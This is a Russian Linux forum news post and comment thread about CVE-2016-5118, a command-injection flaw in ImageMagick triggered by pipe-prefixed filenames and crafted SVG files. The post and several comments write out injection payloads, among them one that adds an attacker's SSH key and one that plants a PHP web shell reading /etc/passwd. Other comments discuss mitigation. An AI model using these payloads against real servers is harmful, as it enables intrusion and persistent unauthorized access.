LINUX.ORG.RU

Ещё одна критическая уязвимость в ImageMagick

 , ,


1

2

В ImageMagick и GraphicMagick обнаружена ещё одна уязвимость (CVE-2016-5118), приводящая к выполнению произвольных shell-команд при обработке файлов со специальными именами. Уязвимость заключается в отсутствии проверки имени файлов на наличие недопустимых символов:

% rm -f hello.txt
% convert '|echo Hello > hello.txt;' null:
% ls hello.txt
hello.txt

Как и в случае с предыдущей уязвимостью, возможна атака с помощью специально сформированных SVG-файлов (которые позволяют указывать внутри себя ссылки на другие файлы):

xlink:href="|echo Hello > hello.txt; cat /usr/lib/firefox/browser/icons/mozicon128.png">

>>> Подробности

anonymous

Проверено: JB ()

SVG

Сдаётся мне, пофиксят в стиле а-ля «gopher в IE».

anonymous ()

При чём тут недопустимые символы, если имя файла запускается на выполнение вместо открытия файла?

unC0Rr ★★★★★ ()
Ответ на: комментарий от unC0Rr

Вероятно имя файла передаётся внешней команде (может быть даже себе) через вызов shell.

ШЕРЕТО!!!

r_asian ☆☆☆ ()

А это разве уязвимость? Ведь, например, повысить привилегии нельзя. Так можно любой скрипт считать уязвимостью, а тот с драйверами для видюхи, который /usr сносил, так вообще можно как мегазловред классифицировать. Разве это не ошибка или кривая архитектура? Подскажите мне где я ошибся.

alozovskoy ★★★★★ ()
Ответ на: комментарий от alozovskoy

А это разве уязвимость?

Мне почему-то вот это в голову пришло:

$ convert '| echo ATTACKER_PUBLIC_KEY >> ~/.ssh/authorized_keys' null:

А некоторые веб-сервер от рута запускают.

Разве это не ошибка или кривая архитектура?

Это ошибка или кривая архитектура, которая является причиной уязвимости.

theNamelessOne ★★★★★ ()
Последнее исправление: theNamelessOne (всего исправлений: 1)

Дружба это магия.

Myau ★★★★ ()
Ответ на: комментарий от alozovskoy

Прикол в том, что иногда на веб-сервисах для конвертации картинок угадай что используют. И тут ты берёшь и грузишь спец svg на него

false ★★★★★ ()

грузить свг разрешают полтора «больших» картинко-хостинга мировых

но даже на них,даже допустим взять сурсфорж или гитхаб(на которых это можно)-так что вы получите-вы получите доступ в «десятиминутную»(время жизни 10мин) созданную виртуалку линукса.....и все
сейчас все что аплоадится-через виртуалку....

удачи выбираться из виртуалки

неприменимо в реальных услових

только против одминов локалхостов

hxf88097 ()
Ответ на: комментарий от alozovskoy

Конечно уязвимость. Подставь например вместо

convert '|echo Hello > hello.txt;' null:

Вот это:

convert '| echo "<?php system(\"cat /etc/passwd\"); ?>" > exec.php;' null:

и вызови через браузер exec.php - получишь содержимое /etc/passwd (или любую другую команду под пользователем веб-сервера).

soko1 ★★★★★ ()
Последнее исправление: soko1 (всего исправлений: 1)
Ответ на: комментарий от theNamelessOne

А некоторые веб-сервер от рута запускают.

оО вообще никогда с таким не сталкивался. Разве что в 2000-ых когда весь софт с сорцов собирали руками и пускали потом получившиеся бинарники, не создав отдельного юзера :)

soko1 ★★★★★ ()
Ответ на: комментарий от soko1

получишь содержимое /etc/passwd.

Ну и зачем оно тебе может быть надо?

anonymous ()
Ответ на: комментарий от anonymous

Ну так содержимое /etc/passwd тупо для примера. Можешь посмотреть содержимое wp-config.php, закачать скрипт adminer и получить доступ к базе. Или шелл туда залить с файловым менеджером. Короче на что фантазии хватит.

soko1 ★★★★★ ()

Как хорошо пользоваться optipng/jpegoptim и прочим «неприметным» ПО.

ImageMagick

Страдай.

znenyegvkby ()
Ответ на: комментарий от theNamelessOne

Мне почему-то вот это в голову пришло:

+ беспарольный sudo, шеллкод, гадость в /tmp + /lib/ld.so и т.д.

ananas ★★★★★ ()

Ещё одна критическая уязвимость в ImageMagick

Да эх, раз, ещё раз, ещё много-много раз.

h578b1bde ★☆ ()

Уязвимость заключается в отсутствии проверки имени файлов на наличие недопустимых символов

Кретины блин... Какая еще проверка на символ? На кой они имя файла на исполнение отправляют?!

И вот теперь вставят костыль, из-за которого не все имена файлов будут обрабатываться.

segfault ★★★★★ ()
Ответ на: комментарий от segfault

Какая еще проверка на символ?

Добро пожаловать в мир Шindoшs.

pftBest ★★★ ()
Ответ на: комментарий от segfault

Там и так костыль:

 2483 #if defined(MAGICKCORE_HAVE_POPEN)
 2484   if (*filename == '|')
 2485     {
 2486       char
 2487         fileMode[MagickPathExtent];
 2488 
 2489       /*
 2490         Pipe image to or from a system command.
 2491       */
 2492 #if defined(SIGPIPE)
 2493       if (*type == 'w')
 2494         (void) signal(SIGPIPE,SIG_IGN);
 2495 #endif
 2496       *fileMode =(*type);
 2497       fileMode[1]='\0';
 2498       image->blob->file_info.file=(FILE *) popen_utf8(filename+1, fileMode);
 2499       if (image->blob->file_info.file == (FILE *) NULL)
 2500         {
 2501           ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
 2502           return(MagickFalse);
 2503         }
 2504       image->blob->type=PipeStream;
 2505       image->blob->exempt=MagickTrue;
 2506       return(SetStreamBuffering(image_info,image));
 2507     }
 2508 #endif

причем очень эпичный + си головного мозга

subwoofer ★★★★★ ()
Ответ на: комментарий от znenyegvkby

Сомневаюсь что im используют для «оптимизации». Обычно это ресайз/ватермарки и прочие извращения.

ritsufag ★★★★★ ()
Ответ на: комментарий от subwoofer

си головного мозга

Да обычный говнокод это. Не более и не менее. А за «гениальную идею» надо по голове настучать.

segfault ★★★★★ ()
Ответ на: комментарий от ritsufag

А. Просто все что делал с изображениями в «терминальном окружении» – сжимал и вырезал ненужные мета-данные. Все манипуляции всегда делались из ЯП, через библиотеки, поэтому запустить оттуда консольный shell было бы невозможно. Все равно это проблемы тех, кто запускает конвертер в tty.

znenyegvkby ()
Ответ на: комментарий от znenyegvkby

Чтобы энкоднуть в жпег да срезать метаданные его как-то многовато будет. Смотря какие либы, вдруг там exec, а не биндинги.

ritsufag ★★★★★ ()
Ответ на: комментарий от ritsufag

Чтобы энкоднуть в жпег да срезать метаданные его как-то многовато будет.

Ну да, вот для этого я и юзал всякие optipng/etc.

Смотря какие либы, вдруг там exec, а не биндинги.

Я изучаю код _небольших_ библиотек по мере возможности, перед тем как использовать.

znenyegvkby ()
Последнее исправление: znenyegvkby (всего исправлений: 1)
Ответ на: комментарий от soko1

Как раз для подобных случаев очень полезны фичи systemd типа RootDirectory=, InaccessibleDirectories= и прочее.

zabbal ()

возможна атака с помощью специально сформированных SVG-файлов

На то он и SVG. Там миллионы способов все сломать. Зачем вообще было создать формат, который поддерживает скрипты на JS и загрузку внешних ресурсов?

Увы, альтернатив у SVG, пока, нет.

RazrFalcon ★★★ ()

Я плакал!

anonymous ()
Ответ на: комментарий от RazrFalcon

HTML предлагаешь выбросить? SVG в сабже вообще не при чём.

anonymous ()
Ответ на: комментарий от alozovskoy

Для повышения привилегий можно использовать другую уязвимость, для которой нужен шелл. Такие переодически всплывают. Вот так бац, две дерьмовые архитектуры друг на друга наложились и у тебя увели сервер.

anonymous ()
Ответ на: комментарий от anonymous

При чём тут HTML? Речь о SVG и тулзе для обработки изображений.

RazrFalcon ★★★ ()
Ответ на: комментарий от zabbal

Поясни плз. То есть он позволяет произвести своеобразную изоляцию приложения не допустив проникновения в другие файлы системы?

soko1 ★★★★★ ()
Ответ на: комментарий от RazrFalcon

Зачем вообще было создать формат, который поддерживает скрипты на JS и загрузку внешних ресурсов?

а нука скажи мне

зачем создавать «язык программирования» который лоадит файлы напрямую с гитхаба и их исполняет....(угадаешь о чем я,не о джаваскрипте очевидно?)

велкам ту 2016

anonymous ()

Если писать код с умом — нужно много времени. За это время кто-то напишет по-быстрее и с багами и все будут использовать этот софт.

Bad_ptr ★★★ ()
Ответ на: комментарий от soko1

Изоляцию - никак, а вот, например, затруднить повышение привелегий - вполне: /tmp изолирован, /home не читается, из файлов устройств только /dev/null и /dev/zero. Это не гарантирует невозможность эскалации (SELinux не заменит), но заставляет атакующего морщить лоб (и настраивается добаdлением одной строчки в юнит-файл).

zabbal ()
Ответ на: комментарий от zabbal

зашибись, спасибо, не знал про такую опцию systemd, буду использовать

soko1 ★★★★★ ()

Это опенсорс. Стабильно, надёжно!

Heretique ()

Огласите весь список, пожалуйста. Чего уж там ...

pacify ★★★★★ ()
Ответ на: комментарий от soko1

В качестве дополнения к документации можешь посмотреть на юниты различных частей самого systemd - там это вовсю используется.

zabbal ()

люди подскажите как изменить разрешение с обрезкой лишнего

anonymous ()
Ответ на: комментарий от pacify

Здравствуйте, Билли!

Подарите, пожалуйста, 2-3 миллиарда долларов...

У вас же их много...

anonymous ()
Ответ на: комментарий от Heretique

Здравствуйте!

В настоящее время для Windows - около 7 000 000 вирусов.

anonymous ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.